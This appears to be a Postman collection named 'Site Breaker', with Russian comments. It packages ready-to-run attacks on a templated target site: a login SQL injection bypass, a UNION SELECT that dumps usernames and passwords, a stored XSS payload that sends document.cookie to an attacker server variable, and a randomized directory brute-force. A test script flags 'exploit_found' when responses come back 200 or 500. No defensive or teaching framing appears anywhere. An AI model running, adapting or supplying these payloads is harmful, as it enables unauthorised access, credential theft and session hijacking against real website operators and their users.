---

{
  "info": {
    "name": "Site Breaker",
    "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
  },
  "item": [
    {
      "name": "Flood POST",
      "request": {
        "method": "POST",
        "header": [
          {"key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"},
          {"key": "Content-Type", "value": "application/x-www-form-urlencoded"}
        ],
        "body": {
          "mode": "raw",
          "raw": "username=admin&password=' OR '1'='1&submit=Login"
        },
        "url": {
          "raw": "{{base_url}}/login",
          "host": ["{{base_url}}"],
          "path": ["login"]
        }
      },
      "event": [
        {
          "listen": "prerequest",
          "script": {
            "exec": [
              "// Автоматическая подстановка случайных данных для обхода CSRF",
              "pm.variables.set('rand', Math.random().toString(36).substring(2));"
            ]
          }
        },
        {
          "listen": "test",
          "script": {
            "exec": [
              "// Проверка уязвимости – если ответ 200 или 500, фиксируем успех",
              "if (pm.response.code === 200 || pm.response.code === 500) {",
              "    pm.collectionVariables.set('exploit_found', 'true');",
              "    console.log('Уязвимость найдена!');",
              "}"
            ]
          }
        }
      ]
    },
    {
      "name": "SQL Injection on GET",
      "request": {
        "method": "GET",
        "header": [],
        "url": {
          "raw": "{{base_url}}/products?id=1' UNION SELECT NULL,username,password FROM users--",
          "host": ["{{base_url}}"],
          "path": ["products"],
          "query": [
            {"key": "id", "value": "1' UNION SELECT NULL,username,password FROM users--"}
          ]
        }
      }
    },
    {
      "name": "XSS Payload via Comment",
      "request": {
        "method": "POST",
        "header": [{"key": "Content-Type", "value": "application/json"}],
        "body": {
          "mode": "raw",
          "raw": "{\"comment\": \"<script>fetch('{{attacker_server}}/steal?cookie='+document.cookie)</script>\"}"
        },
        "url": {
          "raw": "{{base_url}}/comments",
          "host": ["{{base_url}}"],
          "path": ["comments"]
        }
      }
    },
    {
      "name": "Directory Bruteforce",
      "request": {
        "method": "GET",
        "url": {
          "raw": "{{base_url}}/{{dir}}",
          "host": ["{{base_url}}"],
          "path": ["{{dir}}"]
        }
      },
      "event": [
        {
          "listen": "prerequest",
          "script": {
            "exec": [
              "const dirs = ['admin', 'backup', 'config', 'sql', 'logs', 'wp-admin', 'api/v1'];",
              "pm.variables.set('dir', dirs[Math.floor(Math.random() * dirs.length)]);"
            ]
          }
        }
      ]
    }
  ],
  "variable": [
    {"key": "base_url", "value": "http://target-site.com", "type": "string"},
    {"key": "attacker_server", "value": "http://your-server.com", "type": "string"}
  ]
}